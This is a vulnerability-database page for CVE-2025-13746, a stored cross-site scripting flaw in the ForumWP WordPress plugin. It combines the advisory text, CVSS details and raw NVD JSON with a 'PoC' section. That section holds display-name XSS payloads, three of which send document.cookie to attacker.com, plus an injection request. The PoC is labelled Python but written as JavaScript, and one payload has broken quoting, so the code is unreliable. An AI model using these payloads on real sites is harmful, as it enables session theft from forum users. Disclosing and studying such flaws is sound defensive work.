Security Vulnerability Report
中文
CVE-2025-13746 CVSS 6.4 MEDIUM

CVE-2025-13746

Published: 2026-01-06 04:15:53
Last Modified: 2026-04-15 00:35:42

Description

The ForumWP – Forum & Discussion Board plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the User's Display Name in all versions up to, and including, 2.1.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

ForumWP WordPress插件 <= 2.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13746 PoC - ForumWP Stored XSS via Display Name // Author: Wordfence Security Team // Target: ForumWP plugin <= 2.1.6 // Step 1: Authenticate as subscriber-level user // Step 2: Intercept profile update request // Step 3: Inject XSS payload in display_name field // Example payload for display_name field: const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Alternative payload variants: const altPayload1 = '" onmouseover="alert(document.cookie)" x="'; const altPayload2 = '<img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))">'; const altPayload3 = '<svg/onload=fetch(`https://attacker.com/cookie?c=${document.cookie}`)>'; // HTTP Request Example (Burp Suite format): const httpRequest = ` POST /wp-admin/profile.php HTTP/1.1 Host: target.com Cookie: [subscriber_session_cookie] Content-Type: application/x-www-form-urlencoded display_name=${encodeURIComponent(xssPayload)}&action=update `; console.log('XSS payload will be stored and executed on page views'); console.log('Trigger occurs when viewing user card or any page displaying the display name');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13746", "sourceIdentifier": "[email protected]", "published": "2026-01-06T04:15:52.900", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ForumWP – Forum & Discussion Board plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the User's Display Name in all versions up to, and including, 2.1.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin ForumWP – Forum &amp; Discussion Board para WordPress es vulnerable a Cross-Site Scripting Almacenado a través del Nombre de Visualización del Usuario en todas las versiones hasta la 2.1.6, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes autenticados, con acceso de nivel Suscriptor y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/forumwp/tags/2.1.5/assets/front/js/tooltip.js#L25", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/forumwp/tags/2.1.5/includes/common/class-user.php#L906", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/forumwp/tags/2.1.5/templates/user-card.php#L57", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f0eb6dc5-98e2-4d88-98f8-8a63c939b047?source=cve", "source": "[email protected]"}]}}